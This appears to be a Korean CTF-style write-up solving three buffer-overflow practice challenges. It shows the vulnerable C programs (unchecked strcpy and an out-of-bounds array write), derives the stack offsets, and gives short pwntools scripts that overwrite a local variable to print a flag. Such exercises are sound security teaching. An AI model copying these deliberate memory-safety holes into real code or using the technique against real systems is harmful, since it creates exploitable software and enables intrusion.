bof1 & bof2 & bof3

Buffer Overflow ๋ฌธ์ œ ํ’€์ด 1

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void print_flag() {
    FILE *f = fopen("./flag.txt", "r");
    if (f) {
        char flag[256];
        fgets(flag, sizeof(flag), f);
        fclose(f);
        printf("\n=== SUCCESS ===\n");
        printf("Flag: %s", flag);
    } else {
        printf("Flag file not found\n");
    }
    exit(0);
}

void vulnerable_function(char *input, int *win_flag_ptr) {
    int win_flag = 0;
    char buffer[32];
    strcpy(buffer, input);
    printf("Buffer content: %s\n", buffer);
    
    if (win_flag != 0) {
        printf("Buffer overflow detected! Calling print_flag...\n");
        print_flag();
    }
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);
    
    printf("=== BOF Challenge 3 ===\n\n");
    
    char input[256];
    int dummy = 0;
    printf("Enter your payload: ");
    fflush(stdout);
    
    ssize_t n = read(STDIN_FILENO, input, sizeof(input) - 1);
    if (n > 0) {
        input[n] = 0;
        if (input[n-1] == '\n') {
            input[n-1] = 0;
        }
    }
    
    vulnerable_function(input, &dummy);
    
    printf("Program completed normally\n");
    return 0;
}
Dockerfile
Dockerfile
gcc compile
gcc compile
bof1 binary analysis
bof1 binary analysis

Local Binary์˜ ๊ฒฝ์šฐ win_flag ๋ณ€์ˆ˜์˜ ์œ„์น˜๋Š” rbp-0x4 ์ด๊ณ , call 0x4010d0 ์„ ํ†ตํ•ด ๋ฏธ๋ฃจ์–ด๋ณด์•„ buffer[32]์˜ ์œ„์น˜๋Š” rbp-0x30 ์ด๋‹ค.

0x30 - 0x4 = 0x2c ์— ๋”ฐ๋ผ ๋‘˜ ์‚ฌ์ด ๊ฑฐ๋ฆฌ๋Š” 44byte ์ž„์„ ์œ ์ถ”ํ•ด๋ณผ ์ˆ˜ ์žˆ๊ณ , ์ด์— ๋งž์ถฐ exploit ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•˜๋ฉด ์•„๋ž˜์™€ ๊ฐ™๋‹ค.

from pwn import *

p = process('./bof1')

offset = 0x2C

payload = b'A' * offset
payload += p32(1)

p.sendlineafter(b"payload: ", payload)

print(p.recvall().decode())
Success

Buffer Overflow ๋ฌธ์ œ ํ’€์ด 2

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void print_flag() {
    FILE *f = fopen("/flag.txt", "r");
    if (f) {
        char flag[256];
        fgets(flag, sizeof(flag), f);
        fclose(f);
        printf("\n=== SUCCESS ===\n");
        printf("Flag: %s", flag);
    } else {
        printf("Flag file not found\n");
    }
    exit(0);
}

void vulnerable_function(char *input) {
    int authenticated = 0;
    char buffer[24];
    strcpy(buffer, input);
    printf("Buffer: %s\n", buffer);
    printf("Authenticated: %d\n", authenticated);
    
    if (authenticated != 0) {
        printf("Authentication successful!\n");
        print_flag();
    } else {
        printf("Authentication failed. Try again.\n");
    }
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);
    
    printf("=== BOF Challenge 4 ===\n\n");
    
    char input[256];
    printf("Enter credentials: ");
    fflush(stdout);
    
    ssize_t n = read(STDIN_FILENO, input, sizeof(input) - 1);
    if (n > 0) {
        input[n] = 0;
        if (input[n-1] == '\n') {
            input[n-1] = 0;
        }
    }
    
    vulnerable_function(input);
    
    printf("Program completed\n");
    return 0;
}
Dockerfile
Dockerfile
gcc compile
gcc compile
bof2 binary analysis
bof2 binary analysis

Local Binary์˜ ๊ฒฝ์šฐ win_flag ๋ณ€์ˆ˜์˜ ์œ„์น˜๋Š” rbp-0x4 ์ด๊ณ , call 0x4010d0 ์„ ํ†ตํ•ด ๋ฏธ๋ฃจ์–ด๋ณด์•„ buffer[24]์˜ ์œ„์น˜๋Š” rbp-0x20 ์ด๋‹ค.

0x20 - 0x4 = 0x1c ์— ๋”ฐ๋ผ ๋‘˜ ์‚ฌ์ด ๊ฑฐ๋ฆฌ๋Š” 28byte ์ž„์„ ์œ ์ถ”ํ•ด๋ณผ ์ˆ˜ ์žˆ๊ณ , ์ด์— ๋งž์ถฐ exploit ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•˜๋ฉด ์•„๋ž˜์™€ ๊ฐ™๋‹ค.

from pwn import *

p = process('./bof2')

offset = 0x1C

payload = b'A' * offset
payload += p32(1)

p.sendlineafter(b"credentials: ", payload)

print(p.recvall().decode())
Success

Buffer Overflow ๋ฌธ์ œ ํ’€์ด 3

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

void print_flag() {
    FILE *f = fopen("./flag.txt", "r");
    if (f) {
        char flag[256];
        fgets(flag, sizeof(flag), f);
        fclose(f);
        printf("\n=== SUCCESS ===\n");
        printf("Flag: %s", flag);
    } else {
        printf("Flag file not found\n");
    }
    exit(0);
}

void check_access() {
    print_flag();
}

void vulnerable_function(int index) {
    int access_granted = 0;
    int data_array[8] = {0, 1, 2, 3, 4, 5, 6, 7};
    
    printf("Accessing array[%d]\n", index);
    
    if (index >= 0 && index < 256) {
        data_array[index] = 0x11223344;
        printf("Wrote to array[%d]\n", index);
    }
    
    printf("Value of access_granted after write: %d\n", access_granted);
    
    if (access_granted != 0) {
        printf("Access granted!\n");
        check_access();
    } else {
        printf("Access denied.\n");
    }
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);
    
    printf("=== BOF Challenge 5 ===\n\n");
    
    printf("Enter array index to access: ");
    fflush(stdout);
    
    char input_str[32];
    ssize_t n = read(STDIN_FILENO, input_str, sizeof(input_str) - 1);
    if (n > 0) {
        input_str[n] = 0;
        if (input_str[n-1] == '\n') {
            input_str[n-1] = 0;
        }
    }
    
    int index = atoi(input_str);
    printf("You entered index: %d\n\n", index);
    
    vulnerable_function(index);
    
    printf("Program completed\n");
    return 0;
}

Dockerfile
Dockerfile
gcc compile
gcc compile
bof3 binary analysis
bof3 binary analysis
find offset
find offset

Local binary๋ฅผ ๋ณด๋ฉด 7๋ถ€ํ„ฐ 0๊นŒ์ง€ ์ฐจ๋ก€๋Œ€๋กœ ๊ฐ’์„ ์ž…๋ ฅํ•˜๋Š” ํ–‰์œ„๋ฅผ ๋ณผ ์ˆ˜ ์žˆ๋‹ค.

์†Œ์Šค ์ฝ”๋“œ ์ƒ ์šฐ๋ฆฌ๊ฐ€ ์˜ค์—ผ์‹œ์ผœ์•ผ ํ•˜๋Š” access_granted์˜ ๊ฒฝ์šฐ data_array ๋ฐ”๋กœ ์ƒ๋‹จ์— ์žˆ๋‹ค๋Š” ๊ฒƒ๋„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

์†Œ์Šค ์ฝ”๋“œ๋ฅผ ํ†ตํ•ด ์ž…๋ ฅ๊ฐ€๋Šฅ ๊ฐ’์„ ํ™•์ธํ–ˆ์„ ๋•Œ index๋ฅผ ๋ฐฐ์—ด์˜ ํŠน์ • ์œ„์น˜์— ๊ฐ’์„ ์ž…๋ ฅํ•˜๋Š” ํ˜•ํƒœ๋กœ์จ ์“ฐ์ผ ์ˆ˜ ์žˆ๋Š” ๊ฒƒ์œผ๋กœ ํ™•์ธ๋˜๋Š”๋ฐ, ๋‹ค๋งŒ index ๊ฐ’์„ ์‹ค์ œ array ํฌ๊ธฐ๋ณด๋‹ค ๋” ๋งŽ์ด ์ž…๋ ฅํ•  ์ˆ˜ ์žˆ๊ฒŒ ๋˜์–ด์žˆ์œผ๋ฏ€๋กœ ์šฐ๋ฆฌ๋Š” array๋ฅผ ๋„˜์–ด์„  ๋ฉ”๋ชจ๋ฆฌ์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋‹ค.

access_granted์˜ ์œ„์น˜๋Š” rbp-0x4 ์ด๊ณ , data_array์˜ ์‹œ์ž‘ ์œ„์น˜๋Š” rbp-0x30 ์ด๋ฏ€๋กœ 0x30 - 0x4 = 0x2c ์ด๋‹ค.

0x2c๋Š” 44byte์ด๋ฏ€๋กœ, integer array์ธ data_array์˜ index๋กœ๋Š” 11 ์ด์ƒ์„ ์ž…๋ ฅํ•ด์•ผ ํ•œ๋‹ค.

๋”ฐ๋ผ์„œ ์ž…๋ ฅ ๊ฐ’์œผ๋กœ 11์„ ๋„˜๊ธธ ๊ฒฝ์šฐ, data_array๊ฐ€ ์•„๋‹Œ ํŠน์ • ์œ„์น˜์— 0x11223344 ๋ฅผ ์ž…๋ ฅํ•˜๊ฒŒ ๋˜๊ณ  ์˜ˆ์ƒ์ด ๋งž๋‹ค๋ฉด access_granted ๋ณ€์ˆ˜์— 0x11223344 ๊ฐ€ ์ž…๋ ฅ๋˜๋ฉฐ if ๋ฌธ์„ ์šฐํšŒํ•˜์—ฌ ์‹คํ–‰๋  ๊ฒƒ์ด๋‹ค.

Success
from pwn import *

p = process('./bof3')

p.sendlineafter(b"access: ", b"11")

print(p.recvall().decode())

โ† ๋ชฉ๋ก์œผ๋กœ